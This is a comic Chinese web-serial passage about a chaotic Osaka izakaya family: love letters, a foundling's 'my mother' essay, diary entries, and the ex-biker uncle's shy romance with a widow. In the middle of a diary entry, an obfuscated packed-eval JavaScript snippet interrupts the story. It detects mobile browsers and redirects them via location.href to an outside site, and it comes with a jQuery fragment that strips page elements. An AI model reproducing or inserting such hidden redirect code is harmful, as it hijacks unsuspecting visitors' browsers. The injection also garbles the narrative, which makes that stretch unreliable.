金太郎叼着扫把满屋乱窜，夜叉丸蹲在吊灯上甩尾攻击。美咲用团扇指挥战场："健太擦阁楼！建人处理仓库！叔你...别碰酒柜！"
建人钻进仓库时被蜘蛛网糊了满脸，手电筒光束扫过角落的旧纸箱——"建人小学的"宇宙垃圾回收站"奖状，还有...”
"这是什么鬼！"建人抖开1996年的婴儿连体衣，屁股位置绣着"夜叉罗四代目"。
"这张！"建人举起照片怪叫，"姐你十五岁时穿水手服好土！"
"那是圣和女中校服！"美咲的扫把劈头盖脸砸来，"值三万円呢！"
建人从仓库翻出泛黄纸箱时，金太郎正用狗爪刨出一叠粉红信封。"死狗！这是姐的青春啊！"他抓起情书，封口处还粘着可疑的章鱼烧酱渍。
「致荒巻美咲様：您愤怒的侧颜如战国公主，请允许我成为您裙下之臣！——浪速区の罗密欧小岛慎也」
「数学考卷背面：美咲桑的睫毛比二次函数更美，放学后请用导数与我交往！——3年A班高桥」
"姐！"建人挥舞情书冲进厨房，"这个小岛慎也现在是连锁居酒屋大亨！高桥是东大教授！还有这个山本..."
美咲的菜刀剁进砧板："山本不动产的社长是吧？他当年写情书还附上牙齿模型，恶心得我三天没吃章鱼烧。"
铁平突然打翻酱油瓶，金太郎趁机叼走最肉麻的情书。“您暴走族般的心跳令我沉醉...”狗爪踩住的落款赫然是现役国会议员。
"叔你手抖啥？"建人眯起眼，"该不会..."
健太默默举起铁平年轻时的日记本，某页被反复摩挲到起毛：“1998.5.20 赶跑美咲的第六个追求者，改装摩托车排气管吓尿那小子，爽！”
空气突然凝固。夜叉丸抓烂的情书碎片漫天飞舞，拼出残酷真相——
山本社长曾在雨天被铁平"护送"回家，摩托车油门轰鸣响彻三条街；高桥教授收到过匿名恐吓信（错字连篇但画着夜叉罗标志）；小岛慎也被暴走族喇叭循环播放"美咲姐骂人录音"长达半月...
"我说怎么突然没人告白了！"美咲的锅铲抵住铁平喉咙，"原来是你这老家伙搞鬼！"
铁平梗着脖子："那、那些软蛋配不上老子的闺女！"耳尖红得像美咲的辣椒酱。
建人掰着手指算："姐要是跟山本结婚，我们现在早住豪宅了！"
健太补刀："房贷利息可减少82%。"
"闭嘴！"美咲的怒吼震飞梁上灰，"真嫁了那种家伙，谁给你们这群笨蛋做杀人咖喱？"
铁平突然掏出皱巴巴的存折："看！老子给你存的嫁妆！"
美咲瞥见金额冷笑："只够买台章鱼烧机。"
"所以攒了三十年啊笨蛋！"
健太从阁楼拖下蒙尘的纸箱，一本作文簿突然滑落。封皮歪歪扭扭写着「三年A班荒巻建人」，翻开内页的瞬间，美咲的团扇停在了半空。
《我的妈妈（伪）》
荒巻建人（市立二小3年B班）
我没妈。
字面意思，不是赌气也不是叛逆——根据铁平叔的醉酒证词，我被发现时裹在居酒屋厕所的拖把桶边，襁褓里塞着半包过期的Baby Star点心面。美咲姐当时边骂「脏死了」边用炸天妇罗的围裙裹住我，油渍在我脑门留下永久性反光层。
我的「妈妈」是美咲姐，虽然她坚称自己是监护人。这位女士的教育方针如下：
1. 犯错时用章鱼烧竹签戳屁股
2. 考不及格就穿草莓围裙站店门口揽客
3. 敢哭就用「你出生时金太郎都嫌臭」进行精神攻击
我家还有「爸爸」铁平叔，前暴走族现出租车司机。他教我的人生哲理包括：
「眼泪不如引擎油有用」
「被揍时要瞄准对方腋下反击」（用这招反击班霸结果被罚扫全校厕所）
「男人浪漫就是替家人交违章罚款」
至于「兄弟」健太，这家伙是我从便利店纸箱里捡的（美咲姐说这是报恩）。他总用看AI的眼神观察人类，直到我发现他偷偷给我的破球鞋贴止滑胶带。
当然不能忘了金太郎，这条杂种犬会偷吃我的作业。当我在作文里写「我家像垃圾场」时，它把班主任的假发埋进后院——这大概就是狗式亲情表现。
所以你看，我的「妈妈」会做杀人咖喱，我的「爸爸」用钢管代替戒尺，我的「兄弟」沉默得像冰箱。但台风天全家人挤在漏雨的阁楼打麻将时，美咲姐会假装输钱给我买新护膝，铁平叔把最后一块炸鸡夹给我却说「赏你的」，健太默默用热牛奶替换我的啤酒。
最后回答老师的问题：：妈妈是什么？”
——是就算你从厕所诞生，也硬要用章鱼烧和骂声把你养成人的狠角色。
记忆闪回1998年家长会——七岁的建人蹲在操场数蚂蚁，其他孩子指着他说"厕所宝宝"。小建人抬头一笑："羡慕吧？我不用写《我的妈妈》！"
铁平叔突然抢过作文本："臭小子！当年老子编了三天身世故事！"
"便利店抽奖？"建人挑眉，"还不如说我是哥斯拉私生子！"
箱底滑出建人的幼儿园绘画——用火柴人描绘前世车祸场景，标题《我死前的菠萝包》。美咲曾以为这是儿童幻想，实际上...
"健太君，"五岁的建人老气横秋拍打哭闹的健太，"甲子园门票比奶粉贵，你再吐奶就卖你去打黑工。"
小学入学式上，老师问"长大后想做什么"，建人举手："当个安静的废物。"被美咲用团扇追杀三条街。
国一时女生递情书，建人认真建议："喜欢我不如买章鱼烧，至少能吃饱。"从此荣获"町屋钢铁直男"称号。
【2005年4月10日】雨
今天美咲姐煮的味噌汤里有会动的白虫！铁平叔说是「蛋白质」，可它们明明在跳霹雳舞！我把汤倒给金太郎，结果这蠢狗拉肚子喷脏了叔的暴走族照片！美咲姐用扫把追我时，金太郎把呕吐物伪装成现代艺术...姐说下个月零用钱扣光，但偷偷塞给我买鲷鱼烧的钱。铁平叔是笨蛋，美咲姐是天使（但生气像哥斯拉）！
健太批注：错别字7处，「霹雳舞」画成蚯蚓戴墨镜。
【2006年9月18日】晴
国语课要写「我的梦想」，我写「成为夜叉罗五代目」被老师骂。铁平叔教我真正的暴走族精神是保护家人！所以我改成「开出租车守护地球」，结果得奖了嘿嘿。美咲姐把奖状贴在冰箱，盖住叔的啤酒海报。金太郎在颁奖仪式上偷吃校长假发，姐赔了三个月章鱼烧钱。
附页涂鸦：出租车变形成高达，轮胎刻着「美咲姐最凶」
【2007年3月3日】雪
今天是我生日，也是被捡到纪念日！美咲姐烤了煤炭蛋糕，铁平叔送暴走族头巾（掉色染蓝我耳朵）。最棒的是捡到建太！便利店纸箱里的小鬼超弱，哭起来像漏气的哨子。姐说「从今天起你是哥哥」，可这家伙连章鱼烧都咬不动！等他长大，要带他飙车去看甲子园烟花！
健太批注：错把「健太」写成「
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529093|170792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
建太」，配图是婴儿健太流鼻涕泡。
健太盘腿坐在仓库角落，头顶灯泡被夜风吹得摇晃。泛黄的日记本躺在棒球手套旁，金太郎正用狗爪翻页。
"死狗！那是我的黑历史！"建人飞扑抢书，撞翻整箱旧排球。
健太举起日记本闪避，常年面瘫的脸抽搐着："哥的梦想是当出租车侠？"
"那是小学生黑历史！"建人涨红脸，"快还我！"
健太突然念出声："『健太哭起来像水壶烧开，但睡颜像天使（如果他不是尿床精就更好了）』"
美咲的怒吼从居酒屋传来："臭小子！当年你用健太尿布擦过桌子吧！"
铁平醉醺醺晃进来："夜叉罗五代目！来继承老子的ZⅡ摩托！"
建人把日记本砸向金太郎，狗嘴精准接住当飞盘玩。夜叉丸抓烂「出租车侠」涂鸦页，尾巴扫倒酱油瓶，在榻榻米上画出血书般的「惨」字。
健太捡起飘落的纸页，突然开口："哥。"
"干、干嘛！"
"谢谢。"
"哈？"
"2007年3月3日，”健太晃了晃残页，“你说虽然弟弟哭起来很烦，但是我很开心，以后我罩着你”
蝉鸣突然寂静。建人揪住夜叉丸的后颈皮嘟囔着说了什么，耳尖红红的。
金太郎正把抹布当战旗叼着满屋跑时，百合子踩着碎步迈进居酒屋。蓝染和服下摆扫过门槛的瞬间，铁平叔手里的拖把"咣当"砸中脚趾。
"这是...甲子园特产昆布。"百合子把礼盒往柜台一搁，眼角余光黏在铁平渗血的脚背上，"听说健太君要参赛..."
健太从账本后探头："百合子阿姨，我已经比完了。"
"啊啦，瞧我这记性~"百合子绞着衣带，上面的彼岸花纹快被拧成麻花。
建人用手肘捅健太："赌五根章鱼烧，腰带是故意系松的。"
"赔率1:3，"健太压低棒球帽，"叔偷瞄了七次。"
美咲的锅铲精准命中建人屁股："去泡茶！用上周进的顶级玉露！"
"那罐不是用来镇邪的吗？！"
茶香混着血腥味弥漫开来。百合子的团扇半掩面："铁平先生最近...还跑长途吗？"
"啊？哦...就那样。"铁平挠头的手在裤兜摸到美咲塞的纸条——「敢说脏话就断酒半年！」
"其实我家族在神户有出租车公司..."百合子的团扇指向铁平缠绷带的手，"像您这样经验丰富的司机..."
建人突然插嘴："叔还会修车呢！上次把发动机拆成乐高！"
"臭小子！那是战略改装！"
美咲掐着建人后颈拖向厨房："房贷还剩832期，懂？"
"所以要让叔卖身抵债？"建人瞪大眼，"这算老鸭还贷吗？"
夜叉丸突然跃上柜台，猫爪拍翻昆布礼盒。金太郎趁机叼走百合子的腰带，和服唰地敞开——底下竟是印着「夜叉罗命」的暴走族特攻服！
"这、这是亡夫的..."百合子满脸通红，"听说铁平先生当年也..."
"老子去修车！"铁平扛起金太郎夺门而出，同手同脚的姿势宛如初恋情窦的高中生。
美咲把尖叫的建人按进腌菜桶："敢坏好事就让你继承房贷！"
健太默默举起手机录像，标题闪烁「五旬纯情暴走族与未亡人の夏」。
（此刻居酒屋常客们正趴在窗边开盘下注，而真正的赢家是叼着腰带走街串巷的金太郎——它将成为大阪黄昏最美的风景线）